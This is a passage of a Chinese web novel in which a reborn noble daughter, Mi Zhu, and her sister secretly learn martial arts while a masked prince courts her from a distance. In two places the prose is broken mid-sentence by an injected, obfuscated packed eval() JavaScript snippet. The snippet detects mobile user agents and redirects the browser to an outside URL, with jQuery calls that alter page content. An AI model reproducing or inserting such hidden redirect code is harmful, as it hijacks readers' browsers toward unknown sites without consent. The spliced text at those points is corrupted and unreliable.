为了女儿的将来,王氏如今也是发了狠了,觉得要改改自己的性子。 她知道一旦蜜老爷晓得珠儿要习武,会是什么样的勃然大怒。这男人最重视仕途和姻亲,珠儿习武这事儿,是万万不能让对方知道的。 所以这整个蜜府,就得好好整顿一番,好让那些多嘴多舌的下人,不敢在背地里嚼舌根,把事儿捅到蜜老爷那儿去。 于是从第二日起,蜜府的所有下人发现,原本最好说话的主母王氏,也不知道是怎么了,近来变得吹毛求疵,屡屡出手整治他们,甚至府里有好几个以前做久了的老人,因着做错了事儿,被赶出蜜府,还有被打了好几板子罚去做那些脏活儿累活儿的。 “我可是府里的老人!夫人,我一把年纪了,要比忠心可没有比我更好的了,你怎么能冤枉我,将我逐出去!这是要我死啊!” 从前在厨房里最爱偷鸡摸狗顺手抓点油水走的金氏,在那儿捶胸顿足的哭嚎。 她算是跟着蜜老爷从当初的老家,一起过来的人,有着同乡的情谊。但也因此,常在府里倚老卖老,主家端上来的饭菜常有缺斤短两的,几乎都是因着她的缘故。 除此以外,金氏还是个大嗓门大嘴巴,但凡蜜府有点什么风吹草动被她知道了,那一定会嚷嚷到整个蜜府下人都知道,乃至传出去。 从前王氏就怕女儿面容太美,走出去容易遇到纨绔,婚姻之事就这么随意定了,所以千叮咛万嘱咐,鲜少让她出门。却不想,蜜府大小姐容貌倾城这样的传闻,还是传了出去。 后来暗中查了一番,才知道是金氏喝了酒,出去传扬自家大小姐貌美,继而引来了一些纨绔子弟,在蜜府附近守着大门,等着蜜珠出去。 如今王氏想着,若当初狠狠整顿一番蜜府,是不是如今珠儿的婚配就不会是南宁王府了,而能配一个郎才女貌的夫婿? 想到女婿是个痴傻的人,心中就痛啊,王氏太心疼女儿了,也怨恨自己过去软弱无能。 不得不说,先前蜜珠刚刚重生的时候,给王氏讲的一番当悍妇的话,她是有听到耳朵里去的。 “夫人!夫人你要讲良心,老奴跟着老爷三十多年了,老奴没有功劳也有苦劳!怎能容你如此侮辱!你要逐我就逐了,可有把老爷放在眼里?” 金氏不愿意离开蜜府,便在外头撒泼打滚,引来了许多人看。 王氏听到这动静,白着脸道:“将她抓起来堵着嘴!” 家丁很快就将还在大声嚷嚷的金氏,给捆了个严严实实带了进来。 蜜珠惊奇地瞅了王氏一眼。 她怎么都没想到,娘平日里没什么动作,一旦下了决心整顿蜜府,就来这么一把大的。 她可记得,前世金氏在蜜府散了以后,就收拾包袱回了老家,听说半道上被流民劫了,从包袱里掉出来许多金疙瘩。 可见这些年她在蜜府各种捞油水,吃了个油光满面。如今竟然被娘当做杀鸡儆猴的典范,实在是让蜜珠有些讶异。 “如此瞧着我作甚,你不要小瞧一个做母亲的心。”王氏晓得女儿在惊讶什么,只温柔笑笑。 随即狠下心肠,对一旁待命的家丁道。 “将金氏捆好了,连同她屋子里的细软金 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“瞧瞧你那嫡母,如今的做派,这是威风起来啦。谁让你嫡姐有一门好亲事,还让长公主亲自道府上提亲呢。这是多大的脸面啊,也难怪你嫡母那个性子还能立起来。” 她嗑着瓜子道:“若我是你嫡母,比她还厉害呢…” 蜜云性子一向都柔顺,听着小娘这么说,也只是低着头不说话。 刘小娘却看不过去,指着她道。 “先前你嫡姐不是让你多寻她说话?这送上门的机会,你不多凑过去,难道还想等她嫁到王府了,再给你送请帖?” 不论如何,蜜珠这门婚事,是能让她接触到更多贵人的。难保以后就不能给蜜云也说上一门好亲事,哪怕不是王府这种,起码也是个二三品的大官。 女儿怎么连这点盼头都没有? 刘小娘纳闷,怎么自己肚子里头爬出来的姑娘,这么没有心气儿。 蜜云却低着头,冷不丁冒出一句:“以前也是娘让我别亲近嫡姐。” 没道理,如今嫡姐有了娘心目中的好亲事,她就屁颠颠的跑去蹭“富贵荣华”,那样也太没有志气了。 势力。 最后两个字,蜜云没说出口,但刘小娘毕竟是把这丫头生出来的,哪里能听不出对方的言外之意。 她当即站起来,手指拧上了蜜云的耳朵。 “只见别人家的丫头维护老娘的,还是头一次见倒戈相向的!你怎么回事,好赖不分了啊?娘是为了你好,你还不明白?心中怎还对娘埋怨?” 到底是亲生的女儿,没舍得用力气掐,只意思意思拧了一下。 但蜜云却坐在那儿,看着愈发沮丧了。 “您为我好,但打小儿就不让我亲近嫡姐,明明知道家中就我们两姐妹年岁相近,我们性情也相投,但就是因为娘不愿意我和嫡姐玩到一块儿,我只能一直远离她。” “我明明心底里喜欢嫡姐,但却因着不想让娘伤心,只能听您的一再冷淡和远离。如今嫡姐就要嫁人了,娘却又要我去利用人家…” 蜜云呜呜哭了起来,眼圈红了,抽泣道:“我做不到。” 20.第 20 章 刘小娘最怕女儿这样哭,她打小性情刚强,是不爱哭的,哪怕哭,那也是一种手段,专门在蜜老爷跟前为了得到什么,或者完成什么目的才哭一哭,哪里像她这女儿啊,那是真的不打雷光下雨,能把眼睛都哭肿。 良善之人哪里这么好做的,刘小娘捂着脑壳道。 “停停停,你亲娘还没死呢,你嚎什么丧?哭得我脑门疼,快停!” 蜜云就不说话了,只低着头,耷拉着脑袋,像是缺水的小花苗。 只不过刚才哭的劲儿还没过,坐在那儿肩膀还在忍不住一颤一颤的抽抽。 刘小娘从指缝里偷偷看女儿,一见她这模样就忍不住摇头,脑壳更疼了。 “也就我是你亲娘,看你这么哭才脑壳疼心疼,你日后嫁人了再这样哭看看还有谁理你?蜜云啊,娘不是说你,你这性子还不如你嫡姐,她起码是嫡女,容貌也过人,如今性子也变得厉害了,日后就不会吃什么亏,能自己立住,可你呢?” 刘小娘特无奈:“你不找一门好亲事,难道还想随便嫁个穷书生?门不当户不对的,去了你就会受欺负。嫁人嫁人,还不如让你嫁入豪门,起码吃穿无虞。” “你说说,若是娘不替你张罗打算,让你放任自流,你婚事不好被人欺负了怎么办?” 蜜云不吭声,只被刘小娘说狠了,才冒出一句。 “那就是命。” “你!”刘小娘气了个倒仰,差点一口气没上来被呛住。 “倔驴!你这头小倔驴!随的谁脾气!就会窝里横对你娘喊狠话,我看你是要气死我!” 刘小娘满屋子去找趁手的东西,想要教训女儿一番。 丫鬟婆子顿时一个个凑过去拉她:“小娘别气,当心气坏了身子!” 还有婆子对蜜云道:“还不快和小娘认错?” 毕竟小娘和二小姐的脾气,比起来当然是后者更加好说话一些。 然而蜜云这次却低着脑袋,两只手都抠成一团了,但就是不开口服软。 刘小娘愈发被气得厉害,就在整个院子里闹哄哄乱成一团时,忽的听到外头传来一道声音。 “这是在做什么?” 蜜珠不知道什么时候走了进来,已经旁观了一会儿,身后站着几个贴身丫鬟,明明也没特意说什么,但就是令人不由自主安静了下来,结束了闹剧。 刘小娘见到是蜜珠,想到了对方如今的身份,犹豫半晌才将拧着蜜云的手拿走。 再怎么样,她们娘俩之间的事情,也不能让外人看笑话。 她整了整衣衫,带着婆子们回屋去了。 剩下蜜云还坐在那儿,头发有些散乱,刚才被刘小娘揪耳朵了,还没整理好皱巴巴的样子。 这些年在面上,刘小娘对王氏母女一直保持着一种井水不犯河水的态度,是以她没说话,直接进屋的举动,众人也都习惯了。 蜜云似乎因着被蜜珠看到自己狼狈的样子,很是不好意思,匆匆扒拉了两下头发,垂着脸在那儿哽咽。 “…嫡姐。” 重活一世,蜜珠对人的情绪感知比从前敏锐多了,看出来小妹心中的苦楚,顿了顿,开口道。 “要去我那儿转转吗?” 总在屋子里憋着,人才容易被憋坏。可惜这世上大多数人都觉得,女子就该安心待在后宅,就好像这个世界里的大部分疆土,只能让男子拥有似的。 蜜云摇头,想拒绝。 她不想给嫡姐添麻烦,也不想在对方快要出嫁的时候,去攀关系,好为了将来的婚事铺路,这种事儿她不想做。 然而蜜珠却已经伸手去拉她。 “我有些事要与你说。” 蜜云只是一个迟疑,就已经抬脚跟着蜜珠走出了小院子。 一直在厢房里头,留心着外头动静的刘小娘,从窗口看到女儿屁颠颠跟了出去,忍不住暗骂道。 “臭丫头对我都没那么听话过。” * 蜜珠拉着妹妹去了阿晴住着的院子。 “带你去见个人。” 先前她已经和阿晴提起过,自己还有个妹妹也不通武艺,想要学点儿防身术。 这话自然不是随口说的,而是深思过的。 先前蜜云也听人说起过,偏院里住进来一个姑娘,似乎是嫡姐带回来的人。她之前不好过问,如今都被拉到这儿来见人了,忍不住好奇道。 “嫡姐,这里住着谁呀?” 都快走到院子了,蜜珠也不瞒她。 “是个女侠,武艺高强,很厉害的。” “我寻思着,我们这等闺阁女子总是在家坐着,容易体弱,便想请她教我们习武。” 她一边说,一边观察蜜云的神色。 前世妹妹是在一个月后看花灯的时候,和下人走散了,才被人牙子拐走。 蜜珠虽然有心帮对方避开这事儿,但也担心躲得过一次,会不会再有第二次? 若是能让妹妹自己有些功夫在身上,遇到什么都会多一分保障了。 “习武?”蜜云这会儿全然忘了先前和小娘闹的事儿了,听到“习武”两字,惊讶到合不拢嘴。 蜜珠一拉她,冲她做了个“嘘”的手势。 “莫要声张,咱们悄悄学便是,不让人知道。” 如今蜜府也算是被整顿的好了,有王氏先前拿金氏去杀鸡儆猴一事儿在前,下人们再也不敢随意说主子的闲话,可谓铁桶一块。 蜜老爷当然对此事不满过,觉得王氏太过心狠,怎能对他从同乡带来的金氏如此狠心,半点情面都不留。 但王氏只是用一句话就悠悠把他的话堵了:“老爷,过去将近二十年,妾身何曾做过这等得罪人的事?还不是珠儿要成亲了,我们家是高嫁,京城里那么多双眼睛看着,往后和从前可不一样了。妾身若是不多管着点下人,把不好的名声传出去坏了老爷的仕途,才是大祸!” 要说呢,从前王氏在众人眼里的形象,早就已经是定好了的懦弱良善。是以她一旦有了改变,说出点什么来,就容易有“振聋发聩”的效果。 知晓妻子这么做,全是为了自己,蜜老爷哪怕再大的火,也发不出来了。何况金氏毕竟是奴婢,贪墨了府里的银子也是事实。 他再怎么体恤金氏这样有着同乡之情的老奴,毕竟不会把自己的仕途搭进去。同情也是建立在不影响自身当官的基础上的。 是以,有了蜜老爷的沉 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人能像鸟儿那样飞起来,好自由好快活啊。 瞧着阿晴,只要稍微一提气,就能轻而易举翻过围整座后院的围墙,继而进入一个更广阔的世界,甚至还能不惊动任何旁人。 等到阿晴落回地面,看到的就是蜜珠姐妹俩如出一辙的星星眼。 “阿晴教习,我们多久能像你这样飞起来呢?” 蜜珠忍不住问。 什么大婚啊,未来的世子妃啊,全都被蜜珠忘到了脑后,能当不被人欺负还非常威风的女侠,谁还愿意去当个后宅柔弱无骨的傀儡呢。 阿晴被看的心里愉悦,轻声咳了咳。 “寻常来说,要有个两三年的底子,才能做到我这样。” 两三年啊。蜜珠和蜜云的双眸都飞快黯淡下来。 蜜珠:“若是三个月能学到什么程度?” 阿晴莫名不忍见未来的世子妃失望,犹豫了片刻,转移话题道。 “若是能按我的心法去学,寻常这样的围墙应是能翻过去的,专攻轻身术兴许能看到点效果。” 其实习武最忌贪快了,当初阿晴习武的时候,基本功只求扎实,贪快反而会被师父怪罪。 但如今对着蜜珠,那些重话莫名就说不出口。 她甚至决定连夜修改轻身术,弄成最简易的心法版本,好让蜜珠姐妹俩能更快的上手,看到效果。 这是来之前的阿晴,万万想不到的事情。她竟然会为了让人更快学会武功,而去修改秘籍。 得到了阿晴的承诺,蜜珠姐妹俩今日扎马步的时候,都多了几丝喜意。 当天夜里,南宁王府。 暗卫将这两日关于蜜珠的所有事情,都呈给了华宣。 华宣面无表情看完后,摸了摸下巴,眼里闪过沉思。 还没过门的未婚妻似乎有种了不得的天赋——攻略人心。 就连阿晴那样软硬不吃的人,现在都甘愿留在蜜府当个女教习,还专程哄蜜珠去改武功秘籍。 真了不起。 21.第 21 章 暗卫再要走的时候,华宣想了想道。 “去一趟库房,将贴身软甲给她送去。” 顿了顿,他本想再让暗卫带更多蜜珠能用到的东西去,但想到自己如今身份不明,在对方眼中,约莫只是一个神龙见首不见尾的江湖人士,还是那种藏了真实长相的,就没再说什么。 当夜,蜜珠听到自己屋外传来一声响。 她如今比从前警醒了些,听到动静就让蓄月去看看怎么回事。 片刻后,蓄月一脸复杂,捧了一件薄如丝绸的贴身软甲走了进来。 “小姐,还是那人。” 连同软甲一起拿进来的,还有一封被箭穿透的信。 的确是那面具男子的做派。 蜜珠咬着唇,犹豫了片刻。 先前对方送来金叶子,还安排女教习给自己教授武艺,这是两人交易中的一部分,接受起来蜜珠心安理得。 但如今…如今面具男送来的软甲,却已经超出了她所能接受的范围了。 虽然向往成为武艺高强的人,但蜜珠也知晓她和对方之间,应该保持些许距离。 南宁王世子才是她将来的丈夫,哪怕对方痴傻,但既已有了这桩婚事,蜜珠不至于当做什么都没有过。 “将这收起来吧。”蜜珠轻声开口,并没有多看。 哪怕她能看出来,这软甲质地轻盈,但却好像用某种特殊材料制成,能够经得起撞击和武器刺砍,若是穿在外衣里面,定然能杜绝很多伤害。 见蜜珠并没有要收下软甲的意思,蓄月眉眼间神色放松,也赞同小姐的做法。 翌日天明,蜜珠趁着太阳刚刚升起,早起去见阿晴时,却见对方的院子里已经有一道身影在那儿扎马步了。 “嫡姐!”蜜云瞧着比她先到片刻,额上已经微微出汗,瞧见她来忍不住唤了一声。 然后因着这口气一出泄了气,她没站稳,两腿颤抖着一晃身形,差点一屁股栽倒在地上。 蜜珠忙过去扶她:“怎的这么早就来啦?” 蜜云看到嫡姐就想贴贴,笑容灿烂:“难得有机会习武,我不想浪费光阴嘛。” 阿晴教习那么潇洒,能够嗖的一下飞到天上去,这是何等厉害的本事啊。可比把人关在房门里,整日去学那些女红绣花有意思多了。 姐妹俩说了一会小话,便都投入到了训练中。 阿晴从厢房里出来时,就见这两个姑娘摇摇晃晃,额上都是一层细汗,两条腿抖得不成样子了,但两个人依然在努力给彼此打气。 “再坚持一下,想想阿晴教习飞的样子。现在的汗水,就是以后飞翔的翅膀。” “且再忍耐一番,等会你跟我回院子里泡澡,药浴可舒服了,第二日保管你神清气爽,一点儿都没有酸痛。” 蜜珠无论说什么,蜜云都小鸡啄米的点头,反正嫡姐说啥都是对的! 说起来,姐妹俩虽然都是蜜府的姑娘,同出一源,但因着刘小娘和王氏之间的关系,是妾室和正房,彼此之间哪怕投缘,过去也不敢多接近,只一直不冷不淡的接触着。 像今日这般因着习武共处一室,还能彼此这样亲近说话的机会,的确是少有的。 阿晴也是头一次教人习武,而且还是一对过去养尊处优的姐妹花,偏偏看着细皮嫩肉的两姐妹,内在韧性一个比一个强,坚持了一上午,竟然没有一人叫苦叫累。 这也更加让阿晴端正了态度,去教这两人习武。 倘若说先前,她还是因着少主的吩咐,把这个当成一件任务去完成。那么随着和蜜珠的相处,哪怕才短短几日,她已经心甘情愿去做这事儿了。 女子之间也是会有惺惺相惜的,尤其是看到蜜珠这样原本可以好好待在后宅,去享受荣华富贵的娇小姐,那般豁出去的习武,想要变得强大,这种精神很能感染人。 连带着阿晴也忍不住在想,她是不是可以变得更好一些,不然她如何能配得上蜜珠口中所说的“奇女子”这样的称号? 等到快晌午的时候,蜜珠寻了个空,单独对阿晴道。 “你可有法子联系到你那位朋友?” 阿晴先还没反应过来,等到明白蜜珠口中说的“那位朋友”,指的是少主时,她神情复杂了几分。 “有法子。” 蜜珠就松了一口气,对她道。 “有一件东西还得托你转交给对方。再带一句话:我和他的交易已经两清,请不要再送东西来了。” 听到蜜珠言语中和少主划清界限的意思,阿晴的神情变得很奇怪。 就是那种很想让对方知道,少主其实就是世子这件事,但又怕坏了世子的大事,以至于只能抽动着嘴唇,将真相憋在心里。 这感觉就很像在看戏台上的两个人,在那儿演话本里的剧情。 “…你为何不愿收?”阿晴忍不住问。 蜜珠水汪汪的杏眼注视着她,有点纳闷。 “他都晓得找阿晴这样的女教习来教我习武,自然是知道男女大防的,怎会不明白送女子贴身软甲,并不妥当呢。况且…我也不瞒你,几个月后我就要大婚,我自然是不能和其他男子有什么密切往来的,我心中虽然坦荡,但旁人看了多半会误会。” 蜜珠一番话说完,阿晴听了哑口无言。 “好,我替你退回去。”她将软甲收好,眼神复杂晦暗。 从前她想过无数次,像少主这样的男子,若是有了心爱的姑娘,会怎么去相处,用什么态度? 而今看到了,却觉得跟做梦似的,有些荒谬和稀奇。 少主喜欢蜜珠,却找不到合适借口来送东西,甚至被拒之门外。 偏偏少主的处境,又注定了他无法通过“未婚夫”的身份,来正大光明的靠近蜜珠。 入夜之后,阿晴悄悄联系了暗卫,示意对方将软甲拿走。 “蜜珠姑娘说了,往后不要再给她送东西了,交易已经两清。” 她一板一眼将话传完,朝暗卫挥挥手,让对方走。 暗卫:“……” 就挺迷惘。 昨儿才刚把软甲吭哧吭哧送过来,怎么今日就又要把这软甲完璧归赵? 偏偏世子还不一定高兴看到这一幕。 他没的法子,只能将软甲重新扛回南宁王府,趁着无人注意,还到世子的库房里。 华宣问起蜜珠的反应:“怎么样?她都说了什么?” 上次说起习武的时候,这姑娘眼睛都亮起来了,如今给她送软甲,约莫也是她喜欢的吧? 想着蜜珠那张脸上可能出现的欣喜神情,坐在书房的华宣,原本淡漠的脸上,也跟着显出了些许弧度。 然而暗卫下一瞬说出的话,让世子的美好想象戛然而止。 “回禀世子,蜜珠姑娘并未收下软甲,还托阿晴将它退了回来。” 低着脑袋,暗卫一板一眼回答。 “她不要?”华宣剑眉拧起,不解。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13305675|137955||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>难道是他送错了礼物,应该送对方胭脂水粉和华服? 暗卫:“蜜珠姑娘还说,交易已经两清,请您往后不要再送东西了。” 这话说完,暗卫都忍不住屏息静气,悄悄观察世子的反应。 天可怜见,这辈子头一次见世子对一个姑娘这么上心,对方明明是名正言顺的未来夫人,但却只能拐着弯用其他身份送礼物,关键是人家姑娘根本不领情,直接给你退了回来。 而且传话的意思也清楚无误了,是让世子以后不要再去打扰人家,属实是过河拆桥。 气氛一片安静。 暗卫等了一会儿,没等来世子说话,忍不住用余光瞥了一眼世子。 然后就惊讶地发现,世子竟然在笑? 这是在笑吧? 为何被蜜珠姑娘拒绝了,世子还笑啊? 大概是暗卫这会儿一脸下巴快掉了的惊讶样子,太过于明显,华宣看在眼里,轻呵了一声。 “你不懂。” 他起先知道软甲没送出去,还被拒绝往后所有的礼物,心中是有失落和不解的。但只是转瞬,他就想明白了其中的关键,转而高兴起来。 蜜珠是把他当成了外男在防备。侧面说明,蜜珠心中有要成亲的事儿。 哪怕他在世人眼里是个痴傻的世子,但蜜珠依然在乎和他的婚事。 想明白了这一环之后,华宣心中竟然涌出些许甜的滋味。 “罢了,你退下吧。” “往后只远远看着,有危险暗地里解决,莫要让她发现。” 华宣对暗卫这样吩咐着。 他想亲自去见一见未来的世子妃。 * 习武的进度才刚进行了不到两日,蜜珠听到阿晴和她告假。 “我弟弟来信,家中有事,我要离开几日。” 阿晴和蜜珠说起这个时,有些赧然。 她才把功法修改了一部分,还没来得及手把手教蜜珠姐妹俩学,就因为自己的私事,得离开一阵子,心中怪过意不去的。 然而蜜珠在知道她和弟弟已经分别了两年后,劝慰她。 “与家人团聚要紧。你放心,阿晴,不过几日而已,我会和云儿互相督促,不会断掉习武的。” 因着她们习武的年纪有些晚了,想要速成,这些日子阿晴就一直在教她们熟练剑术。 其实就是最简单的一些攻击动作,但只要融会贯通,熟练到刻入骨子,再加上力度的训练,也是能熟能生巧,将来派上用场的。 而且她和蜜云两人一组,进度又相同,反而能起到一个互相练习进步的作用。 阿晴心中百般无奈,最终还是离开了蜜府。 在这个时候接到弟弟的信,也是很突然,但毕竟已经有两年未见了,她也想知道弟弟如今的情况,所以只能先暂时走开几日。 走之前,阿晴有些犹豫,是否要和世子说这件事。 “蜜珠姑娘她们才刚刚习武,恐怕离不开人,少主手底下还有其他女教习么?” 她和暗卫这样开口时。 隐匿在隐蔽之处的暗卫,传出来一句:“放心,世子有他的主张。”随后就销声匿迹了。 半日后的一个夜里,就在蜜珠一个人站在院子里,把玩着手里的一把长剑,做出一些基本的劈砍动作时,墙上忽的跳下来一道身影。 “剑不是这样用的。” 蜜珠一怔,抬眸看去,见到了熟悉的一张面具。 22.第 22 章 虽说只见过面具男一面,但蜜珠一直记得对方的身形与声音。 那人从围墙上下来,一开口,蜜珠就听出来了。 “你怎么在这里?” 她下意识回眸看了眼身后。 偏巧蓄月和小柳儿都去弄沐浴的热水了,院子里暂时就蜜珠一人在,她拿着剑在那瞎比划,纯粹是想锻炼出手感。 没成想,竟然见到面具男翻墙进院! “快走,你这样的擅闯女子闺房,被捉住了要被当成采花贼的!” 蜜珠瞪大杏眼吓唬他。 华宣却只是轻笑:“若能捉住我,是你府上家丁的本事。” 言下之意就是,哪怕别人撞见了,他也有本事不让人抓到。 好自信哦。 蜜珠见他这样说话,心里就气不打一处来。 “我先前本以为江湖中人都那么孟浪,但见了阿晴之后我才晓得,原来人与人是不同的。阿晴就从来不会做这种梁上君子,哪怕她轻功很好。” “大丈夫习武岂是为了欺负姑娘家?你不去保家卫国,也不去行侠仗义,真是好羞人。” 蜜珠以前也不知道自己那么能说呢。 尤其是在面具男面前,兴许是对方看着就是那种不怎么爱生气,但又做事儿不着边的人,她就总想在嘴上损他。 华宣倒吸一口冷气:“伶牙俐齿。” 他怎么不知道,未来的世子妃光是一张小嘴,就能叭叭出千军万马的效果。 他咳了一声:“我只是好意过来瞧瞧你。阿晴有事,这几日不能教你了。你既是要习武,是我将人举荐到你面前,如今人走了,我来看看,只是有始有终罢了。” 说完这话,他语气里都带上了几分无奈。 “可叹可叹,是我多管闲事罢了。” 他转身欲走。 蜜珠还没反应过来,就见对方已经轻飘飘落到了围墙上。 之前蜜珠还没亲眼见过这人伤势养好后,使用武功的样子。有了阿晴的轻功做对比,再看这面具男,瞬间能比较出来,对方比阿晴的轻功还要再精妙一些。 “喂。”蜜珠下意识追了半步,喊住了对方。 华宣很听挽留,人换了个地方立着,跳到了庭树上,身形被葱茏的枝叶遮掩了起来,声音却清朗戏谑。 “怎么?姑娘还有什么话说?” 他靠在了大树的枝叶最茂盛的地方,一打眼看去,若不是提前知道那里有个人,是完全发现不了的。 蜜珠抿了抿唇:“你轻功那么好,也是有秘籍心法的么?和阿晴教我的一样吗?” 华宣听出她话里的意思,双臂环抱,轻笑了一声。 “姑娘,贪多嚼不烂。” 未来世子妃还怪贪心的,要了一份心法秘籍不够,还要第二份。 听了这话,蜜珠有些赧然:“我只是问问罢了。” 方才那话一出口,她自己也觉得好笑,怎么能这么贪心呢。习武又不是吃饭,可以一下吃很多种菜,秘籍心法练了那就认准了一个练到底,练出头。怎么能朝令夕改。 就在两人说话的当下,蓄月和小柳儿抬了木桶过来。 “小姐,今日药浴的量还是那么多么?我们去花园摘了一些花。蓄月姐姐还拦着我呢,说是药浴里已经有花瓣了,再来其他花瓣,兴许药性会相克。” 小柳儿老远就叨叨叨的和蜜珠说话。 蜜珠慌乱抬眸,去看庭树上的男人,想叫他别讲话,别让丫鬟们发现他来。 藏在枝叶间的男人看着很是听话,白玉一般的手,捂着自己面具,做了个不说话的手势。 他的身形甚至还往树叶里藏了藏,愈发让人看不到了。 蜜珠抿唇笑了。 虽是个没什么礼数的江湖浪荡子,但好在还算听话。 进去泡药浴的时候,蜜珠还在担心,院子里的面具男走了没。 存着点担心,蜜珠特意吩咐蓄月在门口守着。 往常蜜珠沐浴的时候,都不要人陪,更喜欢自己静静泡一会儿,今日却让小柳儿和蓄月分别守着内院外院,甚至还让其他粗使婆子在院子里溜达巡逻。 小柳儿没看出蜜珠的反常,倒是蓄月注意到了这一点,悄悄看了一眼外头,然后隔着门帘对蜜珠道。 “小姐,今日是有什么人来过吗?” 她平时就心细,联想到先前两次面具男子用箭射了信件,还有其他东西送过来。看到今日蜜珠的反应,就忍不住猜想,是不是对方又来过了? 先前她就担忧,小姐和江湖中人扯上了关系,唯恐被对方缠上。 而今看着,这种担忧隐隐被证实了。 那面具男子似乎对小姐生出了兴趣,不仅让人专门送女教习来教小姐习武,还送贴身的软甲给小姐。被拒绝了后,又… 原本这些属于主人家的私事,蓄月的性子是不爱管这些的,知道太多了往往不是什么好事,反而会因为知道秘密而被牵连责怪。 但她这段日子和小姐朝夕相处,心中明白小姐的性子,不再是那种听不进劝的人了。 蜜珠的声音,隔着门帘闷闷的传来。 “…木头面具来过。” 因着面具男每次都戴同一张木头做成的面具,蜜珠索性这样称呼他了。 蓄月也是立刻就能懂。 “小姐看到他了?” 蜜珠没有隐瞒:“嗯,方才他在院子里,还与我说了几句话。” 蓄月和小柳儿是蜜珠身边最亲近的丫鬟,这事儿本就不是什么不能说的,蜜珠先前只是不想多生事端,让小事变成大事儿,吓到了小柳儿她们。 而今单独对着蓄月,她想了想,还是把事情全盘道来,没有再隐藏。 “我怕吓着你们,就让他先藏起来了,不知道他还在不在那棵树上。” 蓄月听懂了蜜珠的意思:“小姐是想让我看看,他还在不在那棵树上?” 蜜珠点头:“是啊。” 不确定好,她心里总有些不踏实。 以前没有接触到那些习武的人,反而还不会想这么多,如今知道了这世上有轻功,而且习武之人还距离自己那么近,就连洗澡沐浴的时候,她都会担忧,对方会不会藏在哪个旮旯角落里? 蓄月出去转了一圈,回来后告诉蜜珠。 “我沿着庭树左右仔仔细细看了,树上没人。” 至少她这双眼睛没有看到什么身影。 得了蓄月这番保证,蜜珠放松下来,终于感受到今天药浴的效果了,身体每一寸肌肤都有些酸疼。 “小姐打算怎么办?”蓄月旁敲侧击。 蜜珠这会儿脑袋清醒了:“他来我不理便是。阿晴只不过离开几日而已,我还犯不着去找别人教我习武。” 兴许是因为阿晴和她都是女儿家吧,相处了一段时日之后,她们就很快熟悉起来。 而木头面具出现的时机不对,第一次在城外现身,就是想拦截蜜珠的马车,干的是近似土匪的事儿。 虽说后来他们达成了交易,谁也不欠谁了,但这印象到底还是差了一些。 木头面具身上有一种让人仔细嗅来,觉得神秘到危险的味道。 蜜珠两辈子有限的经历里,加起来还是第一次遇到这样的人。 她隐隐有种感觉,木头面具就像是打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13317938|137955||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开她所在世界窗户的一个人,如果接触多了,自己就很难再回到过去的世界了。 她不介意改变,但她希望所有的改变,都是在理性的思考后,自己自主自发去选择的。 而不是被蛊惑着,欺骗着,诱哄着,或者糊涂地去做。 前世她轻信了曲立封,能有再世为人的机会重来一次,老天不是让她把信任放到男人身上,去寄托自己的幸福与期盼的。 木头面具如此轻易的就出现在她面前,谁知道这是不是一场新的骗局和噩梦呢? 不是每一次,她都能那么幸运,通过重生摆脱渣男的。 这么一想,对于那个素未谋面的世子未婚夫,蜜珠心里竟然生出了几丝满意。 南宁王府在京城的位置如此特别,有着长公主这层关系在,寻常人看它是个王侯贵族,但又因为有前朝公主的血脉在,注定了南宁王府的后人不会得到重用。 世子生了病痴傻,就意味着她不需要参与到后宅的那些勾心斗角中。 这样日子也能简单几分。 想起这个,她马上就想到了自己即将大婚,可头面什么的还没准备妥当呢。 “早些睡,明日还有事呢。” 蜜珠对守在床边的柳儿吩咐道,拍了拍她脑顶。 小柳儿就叹气道:“什么事呀?如今小姐整日忙活,都和从前不一样了。” 柳儿胆子小,心底里总觉得以前的小姐是最好的,性子温柔文静,多少高门大户想要媳妇,不都是喜欢小姐这样的吗。 可是好端端的,从这桩婚事定了之后,小姐就变了个人。 有时候小柳儿觉得小姐好厉害,有时候又忍不住担忧害怕。 “小小年纪就这么愁眉苦脸,当心以后眉心都是褶子。放心,我不去郊外的庄子,也不去做别的,只是出去逛逛。” 蜜珠知道柳儿在忧愁什么,只是她重活了一世后,很多事情无形中就注定会改变了。 她可能并不是一个聪明人,所以做的许多事情,并不漂亮。 但很多路,只有亲自走过一遍了,才知道这样做对不对。 她回不到过去的性格了,也无法让自己再安于后宅的生活。 “柳儿,你觉得是现在的我好,还是过去的我好?” 蜜珠撑着脑袋,轻声询问。 小柳儿似乎有些讶异她的话,认真想了想才道。 “小姐就没有不好过呀。” 小姐一直是很好很好的,会在乎他们这些下人的感受,从来不会轻易发脾气,善解人意又温柔。 停顿片刻,小柳儿继续道。 “小姐,你往后嫁人了,会开心吗?” “我听府里的其他姐姐们说过,嫁人就是过关卡,要看遇到的人怎么样。若是夫君不够体贴,遇到的婆婆再凶恶,女子的日子就很难过。” “南宁王府家大业大的,他们那么厉害,家里规矩是不是也很多?” 蜜珠认真想了一会儿,坐起来拨弄了一下烛火。 “我也不知道自己以后开不开心。不过,我能确定的一点是,未来的日子是握在自己手里的。遇到什么人,发生什么事情,并不能完全确定,但我自己生出什么样的感受,是能控制的。比如说…先前我有一阵恨曲立封,嫌他心思肮脏,太过腌臜,明知道女子名节重要,却百般诱哄我。” 